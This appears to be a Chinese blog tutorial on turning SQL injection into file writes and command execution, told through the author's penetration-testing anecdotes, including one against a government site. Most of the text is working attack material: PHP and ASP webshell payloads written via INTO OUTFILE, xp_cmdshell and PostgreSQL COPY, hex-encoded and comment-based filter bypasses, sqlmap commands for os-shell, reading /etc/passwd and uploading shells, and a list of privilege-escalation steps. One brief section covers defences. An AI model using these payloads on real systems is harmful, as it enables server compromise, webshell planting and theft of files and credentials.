从注入点到命令执行:SQL注入漏洞文件操作实战剖析
发布时间:2026/6/29 11:59:43
分类:文化教育
浏览:1234

1. SQL注入漏洞的文件操作基础第一次接触SQL注入漏洞时大多数人都只关注数据泄露的风险。但真正让我震惊的是这个看似简单的漏洞竟然能成为系统沦陷的跳板。记得去年在测试某企业网站时一个普通的注入点最终让我拿到了整个服务器的控制权整个过程就像打开了潘多拉魔盒。SQL注入之所以能实现文件操作核心在于数据库提供的几个特殊函数into outfile将查询结果写入服务器文件load_file()读取服务器文件内容dumpfile单行写入文件适合二进制文件这些函数本意是方便数据库管理但在配置不当的情况下攻击者可以将其变成危险的武器。我见过最典型的案例是某CMS系统由于使用默认配置攻击者仅用一行注入代码就上传了webshell。2. 手工注入实现文件写入实战去年在渗透测试某政府网站时发现一个典型的字符型注入漏洞。目标系统使用MySQL 5.7以下是完整的攻击过程首先需要确认三个关键条件当前数据库用户有文件写入权限通常需要DBA权限知道网站绝对路径可通过报错信息、配置文件泄露等方式获取secure_file_priv参数未设置限制检查secure_file_priv配置的命令show global variables like %secure%;如果返回值为NULL需要修改MySQL配置文件通常是my.ini或my.cnf添加secure_file_priv 然后重启MySQL服务。接下来就是经典的木马写入操作1 union select 1,?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php-- -这里有几个实用技巧使用union select确保语句正常执行将PHP代码放在第二个查询字段路径使用绝对路径注意权限问题双引号包裹PHP代码避免解析问题成功写入后用蚁剑等工具连接即可获得交互式shell。有次测试中目标系统对单引号做了过滤我改用hex编码绕过1 union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e into outfile /var/www/html/shell.php-- -3. SQLMap高级文件操作技巧手工注入虽然直观但实际渗透中更常用SQLMap这个神器。去年在某次红队行动中我们就靠它拿下了多个目标。3.1 os-shell的妙用最经典的莫过于--os-shell参数sqlmap -u http://example.com/vuln.php?id1 --os-shell这个命令背后其实完成了以下操作自动检测注入点类型上传两个临时文件用于命令执行和文件上传建立交互式shell环境有次遇到个有趣的情况目标系统路径包含空格SQLMap报错。解决方法是指定完整路径sqlmap -u http://example.com/vuln.php?id1 --os-shell --web-rootC:\Program Files\www3.2 文件读写实战SQLMap的文件操作功能远比想象中强大读取/etc/passwd文件sqlmap -u http://example.com/vuln.php?id1 --file-read/etc/passwd上传本地webshellsqlmap -u http://example.com/vuln.php?id1 --file-writeshell.php --file-dest/var/www/html/shell.php曾用这个方法绕过某WAF因为SQLMap会自动尝试多种编码和混淆技术。记得添加--batch参数可以自动选择默认选项适合在自动化脚本中使用。4. 不同数据库的利用差异不同数据库的文件操作方式大不相同这里分享几个实战经验4.1 MySQL的特殊配置除了secure_file_priv还要注意需要FILE权限GRANT FILE ON.TO user写入路径的权限设置新版MySQL默认配置更严格4.2 MSSQL的差异MSSQL使用完全不同的方式1;EXEC master..xp_cmdshell echo ^%eval request(cmd)%^ C:\inetpub\wwwroot\shell.asp--需要开启xp_cmdshellEXEC sp_configure show advanced options,1 RECONFIGURE EXEC sp_configure xp_cmdshell,1 RECONFIGURE4.3 PostgreSQL的技巧PostgreSQL使用COPY命令1;COPY (SELECT ?php eval($_POST[cmd]);?) TO /var/www/html/shell.php--需要超级用户权限且要注意pg_hba.conf的配置。5. 防御与绕过实战作为安全工程师我经常需要站在防御者角度思考。以下是几种有效的防御措施最小权限原则数据库用户只赋予必要权限参数化查询彻底杜绝注入可能文件系统权限限制web目录写入权限安全配置设置secure_file_priv等参数但攻击者也有应对方法使用日志文件写入技巧利用临时文件目录通过UNION SELECT注入CSS/JS文件实现存储型XSS利用DNS外带数据绕过过滤有次遇到过滤了单引号和空格的情况最终用注释符和括号绕过1)union/**/select/**/1,0x3c3f7068702073797374656d28245f4745545b2763275d293b3f3e,3/**/into/**/outfile/**//var/www/html/shell.php---6. 渗透测试中的实用技巧在真实环境中往往需要更多技巧路径猜测尝试常见路径如/var/www/html、C:\inetpub\wwwroot等小文件写入先写入txt测试再写webshell编码混淆应对WAF检测时间延迟在严格过滤时判断注入结果有次目标系统过滤了所有特殊字符最终通过以下方式获取路径信息1 and if(load_file(/etc/passwd) is not null,sleep(5),1)结合报错信息逐步推断出web目录最终通过日志文件写入获得shell。这种场景下耐心和创造力比工具更重要。7. 从文件操作到权限提升拿到webshell往往只是开始真正的挑战是权限提升。我常用的几种方法查找敏感配置文件数据库连接信息等利用本地漏洞提权如Dirty Cow分析crontab定时任务查找SUID/SGID文件记得某次测试中通过MySQL配置文件找到了数据库管理员密码进而通过phpMyAdmin拿到系统root权限。整个过程就像多米诺骨牌一环扣一环。文件操作类SQL注入的危害远超出很多人的想象。从简单的数据泄露到完整的系统沦陷往往只有几步之遥。作为防御方必须采取纵深防御策略作为攻击方在合法授权范围内则需要不断磨练技术因为现实环境永远比靶场复杂得多。